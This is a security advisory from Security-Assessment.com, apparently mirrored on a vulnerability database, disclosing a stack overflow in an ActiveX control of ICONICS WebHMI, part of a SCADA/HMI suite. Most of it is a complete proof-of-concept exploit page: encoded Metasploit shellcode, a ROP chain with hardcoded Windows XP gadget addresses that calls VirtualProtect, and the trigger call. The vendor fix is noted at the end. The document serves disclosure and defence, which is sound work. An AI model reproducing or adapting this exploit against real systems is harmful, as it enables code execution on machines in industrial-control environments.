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securityvulnsSecurityvulnsSECURITYVULNS:DOC:26309
HistoryMay 05, 2011 - 12:00 a.m.

Security-Assessment.com Advisory: ICONICS WebHMI ActiveX Stack Overflow

2011-05-0500:00:00
vulners.com
31

( , ) (,
. `.' ) ('. ',
). , ('. ( ) (
(,) .`), ) _ ,
/ _/ / _ \ ____ ____ _____
\
\==/ /
\ \ / \/ _ \ / \
/ \/ | \\ \
( <
> ) Y Y \
/
____ /\| / \__ >___/|__|| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_='`"``=.

    presents..

ICONICS WebHMI ActiveX Stack Overflow

Vendor Link: http://www.iconics.com/
PDF:
http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf

±----------+
|Description|
±----------+

ICONICS Genesis32 is a suite of OPC, SNMP, BACnet and Web-enabled HMI
and SCADA applications. A stack overflow was found in an ActiveX control
required by the WebHMI interface. This condition can be used to gain
command execution. The affected control is 'GenVersion.dll' and has the
ClassID of {CEFF5F48-BD2E-4D10-BAE5-AF729975E223}. This control is
marked safe for scripting.

±-----------+
|Exploitation|
±-----------+

Exploitation of this vulnerability requires a user with the ActiveX
control installed to visit a page containing specially crafted
JavaScript. Users can generally be lured to visit web pages via email,
instant message or links on the internet.

By passing a specially crafted string to the "SetActiveXGUID" method, it
is possible to overflow a static buffer and execute arbitrary code on
the user's machine with the privileges of the logged on user.
Security-Assessment.com constructed a JavaScript ROP exploit as proof of
concept.

±---------------------------+
|Proof of Concept ROP Exploit|
±---------------------------+

<html>
<!–

( , ) (,
. `.' ) ('. ',
). , ('. ( ) (
(,) .`), ) _ ,
/ _/ / _ \ ____ ____ _____
\
\==/ /
\ \ / \/ _ \ / \
/ \/ | \\ \
( <
> ) Y Y \
/
____ /\| / \__ >___/|__|| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_='`"``=.

            presents..                            

PRODUCT: http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
AUTHOR: sgb <[email protected]>
AUTHOR: bls <[email protected]>
WEBSITE: http://www.security-assessment.com/
TESTED: Windows XP Professional SP3 (EN) latest updates with IE8 and IE7
DATE: Sun Jan 30 2011

–>

<title>ICONICS WEBHMI ACTIVEX BOF ROP XPSP3</title>

<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C"
id="target"></object>
<script language="JavaScript">

//----------------------------------------------------
// Javascript helpers
//----------------------------------------------------

String.prototype.repeat = function(num) {
return new Array(isNaN(num)? 1 : ++num).join(this);
}

function encode_dword(sdw) {
if(sdw.length != 8) {
alert('encode_dword: invalid dword: ' + sdw);
return "";
}
var a = sdw.substr(0, 4);
var b = sdw.substr(4, 8);
return unescape('%u' + b + '%u' + a);
}

function junk_dword(char) {
var charCodeStr = char.charCodeAt(0).toString(16);
var expr = charCodeStr.repeat(4)
return encode_dword(expr);
}

//----------------------------------------------------
// Shellcode
//
// use payload/windows/exec
// set CMD 'cmd.exe /q /k taskkill /f /IM iexplore.exe'
// generate -t js_le -b '\x00'
//----------------------------------------------------

var shellcode = unescape('%u9090').repeat(200) + unescape(
'%ueaba%ud0be%udba1%ud9de%u2474%u5df4%uc933%u3bb1' +
'%u5531%u8314%ufced%u5503%u0810%u2c4b%u4549%ucdb4' +
'%u358a%u283c%u67bb%u385a%ub7ee%u6c28%u3c03%u857c' +
'%u3090%uaaa9%ufe11%u858f%ucfa2%u490f%u4e60%u90ec' +
'%ub0b5%u5acd%ub1c8%u860a%ue323%uccc3%u1396%u9067' +
'%u122a%u9ea7%u6c13%u61c2%uc6e7%ub1cd%u5d58%u2985' +
'%u39d2%u4b36%u5a37%u020a%ua83c%u95f8%ue194%ua401' +
'%uadd8%u083f%uacd5%uaf78%udb06%ud372%udbbb%ua940' +
'%u6e67%u0955%uc8e3%uabbd%u8e20%ua736%uc58d%ua411' +
'%u0a10%ud02a%uad99%u50fd%u89d9%u39d9%ub0b9%ue478' +
'%ucd6c%u409b%u6bd0%u63d7%u0d05%ue9ba%u9cd8%u57c0' +
'%u9eda%uf7ca%uafb3%u9841%u30c4%udc80%ud32b%u2901' +
'%u4dc4%u90c0%u6e89%ud63e%uecb7%ua7cb%uec43%ua2b9' +
'%uab08%udf52%u5901%u4c55%u4821%u1f36%u5cb9%ua7dc' +
'%u8024%u0931%uef87%u8926%u8eb3%ua2cb%u3950%u5940' +
'%u9687%u81fe%ua1e8%ue1b3%u549f%u9234%uf933%u37b6' +
'%u60e2%udd4f%u41fa');

//----------------------------------------------------
// ROP Gadgets
//
// Modules used: kernel32, user32, shell32, rpcrt4, ole32
//----------------------------------------------------

// Saves ESP into EAX
var save_esp_gadget = encode_dword("77EEDC67") + // # DEC EAX # PUSH
ESP # POP EBP # RETN 4
junk_dword("X") +
encode_dword("7CB09A4D") + // # XCHG EAX,EBP # RETN
junk_dword("Y");

// This will inc ESP by 16 + 4 + 4 + 4 = 28 bytes

var jump_over_params_gadget =
encode_dword('7C80DFD8'); // # ADD ESP,10 # POP EDI # POP ESI # POP
EBX # RETN

var virtual_protect_call = encode_dword('7c801ad4'); //
&Kernel32.VirtualProtect

// 5 parameter placeholders and 1 static
var placeholders = junk_dword('P') + // PPPP 8 == INITIAL ESP + 8 p1

  • retaddr (shellcode)
    junk_dword('Q') + // QQQQ 12 p2
  • lpaddr (shellcode)
    junk_dword('R') + // RRRR 16 p3
  • size
    junk_dword('S') + // SSSS 20 p4
  • perms
    junk_dword('T'); // TTTT 24 p5
  • oldperms

var extra_junk = junk_dword('Y'); // JUNK (because jump gadget skips
28 bytes)

var copy_eax_edx = encode_dword('7CB1B102'); // # MOV EDX,EAX # MOV
EAX,EDX # RETN
var copy_eax_ecx = encode_dword('7e419167'); // # XCHG EAX,ECX # RETN
// ^ Note: destroys EAX
var xchg_eax_edx = encode_dword('7CBB9C74'); // # XCHG EAX,EDX # RETN
var inc_ecx = encode_dword('775F0CFF'); // # INC ECX # RETN
var add_eax_64h = encode_dword('77550F6F'); // # ADD EAX,64 # RETN
var add_eax_328h = encode_dword('7756DF51'); // # ADD EAX,328 # RETN
var clear_eax = encode_dword('7E456160'); // # XOR EAX,EAX # RETN
var dec_ecx = encode_dword('7CAA881F'); // # DEC ECX # RETN
var pop_eax = encode_dword('7CB1B822'); // # POP EAX # RETN
var xchg_eax_ecx = encode_dword('7E4462ED'); // # XCHG EAX,ECX # RETN
var xchg_eax_esp = encode_dword('7CB93033'); // # XCHG EAX,ESP # RETN

var restore_eax_from_edx = xchg_eax_edx + copy_eax_edx;

var set_eax_40h = clear_eax +
encode_dword('77550F6F').repeat(2) + // +64h x 2 - # ADD EAX,64 # RETN
encode_dword('7CA7BC50').repeat(2) + // -41h x 2 - # SUB EAX,41 # RETN
encode_dword('7C812FA6').repeat(6); // -1 x 6 - # DEC EAX # RETN

// Copy contents of EDX to location pointed to by ECX (used to write our
params)
var write_arg = encode_dword('77EB2BE3'); // # MOV DWORD PTR
DS:[ECX],EDX # RETN

var sploit = unescape('%u9090').repeat(255) + // Padding for BOF
save_esp_gadget + // Save ESP into EAX
jump_over_params_gadget + // Jump over
VirtualProtect params
virtual_protect_call +
placeholders +
extra_junk +
copy_eax_edx + // Prep EDX
copy_eax_ecx + // Prep ECX

         inc_ecx.repeat&#40;21&#41; +       // Point ECX at param 1 &#40;retaddr&#41;
         restore_eax_from_edx +     // EAX was destroyed by

copy_eax_ecx gadget :/
add_eax_64h.repeat(5) + // Bump EAX 'til it points to
our shellcode
copy_eax_edx + // Copy it into EDX in prep for
write
write_arg + // Write EDX (shellcode ptr) to
[ECX]
// retaddr for VirtualProtect
which is our shellcode
inc_ecx.repeat(4) +
write_arg + // Write EDX again (shellcode
ptr) for param 1: lpaddr
inc_ecx.repeat(4) + // Bump ECX by 4 (so that it
points at param 2)

         clear_eax +                // Zero out EAX register
         add_eax_328h +             // Bump up EAX by 600 to allow

600 bytes shellcode
copy_eax_edx + // Write EAX to EDX in prep for
param
write_arg + // Write EDX (size) to ECX
(points to param 3: dwsize)

         inc_ecx.repeat&#40;4&#41; +        // Bump ECX by 4 &#40;so that it

points at param 3)
set_eax_40h + // Set EAX to 0x40
(PAGE_EXECUTE_READWRITE)
copy_eax_edx + // Copy EAX to EDX in prep for
param write
write_arg +

         inc_ecx.repeat&#40;4&#41; +        // Bump ECX by 4 &#40;so that it

points at param 4)
pop_eax +
encode_dword('0012f878') + // Get a static, writable
address into EAX

         // Note: if you get ERROR_NOACCESS on VirtualProtect then

you probably have
// to pick a different static, writeable address.

         copy_eax_edx +
         write_arg +                // Put our static, writable

address in param 5

         dec_ecx.repeat&#40;20&#41; +       // Roll ECX back to point to our

VirtualProtect call
xchg_eax_ecx + // Put ECX into EAX
xchg_eax_esp + // Put EAX into ESP (RET will
trigger VirtualProtect)
junk_dword('Q') + // If we hit this, we failed…
shellcode;

//----------------------------------------------------
// Trigger
//----------------------------------------------------

target.SetActiveXGUID(sploit);

</script>
</html>

±-------+
|Solution|
±-------+

ICONICS validated this security issue and updated the WebHMI software
product to address this issue. The fix is incorporated in the version
9.22 releases of GENESIS32, GENESIS64 and BizViz.
Security-Assessment.com recommends updating to the latest version
provided by the vendor.

±----------------------------+
|About Security-Assessment.com|
±----------------------------+

Security-Assessment.com is Australasia's leading team of Information
Security consultants specialising in providing high quality Information
Security services to clients throughout the Asia Pacific region. Our
clients include some of the largest globally recognised companies in
areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a
high level of technical expertise while creating long and lasting
professional relationships with our clients.